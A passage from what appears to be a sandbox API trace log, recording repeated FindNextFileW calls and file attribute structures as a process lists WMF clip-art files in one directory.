lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0244.744] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0244.745] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0244.745] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0244.745] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0244.745] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0244.746] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0244.746] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0244.746] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0244.746] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0244.746] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0244.747] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0244.747] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0244.747] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0244.747] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0244.748] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0244.748] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0244.748] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0244.748] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0244.748] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0244.748] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0244.749] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0244.749] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0244.749] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0244.749] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0244.749] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0244.750] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0244.750] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0245.054] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0245.054] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0245.054] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0245.054] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0245.054] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0245.055] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0245.055] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0245.055] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0245.055] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0245.055] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0245.056] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0245.056] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0245.056] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0245.056] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0245.056] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0245.056] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0245.057] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0245.057] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0245.057] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, 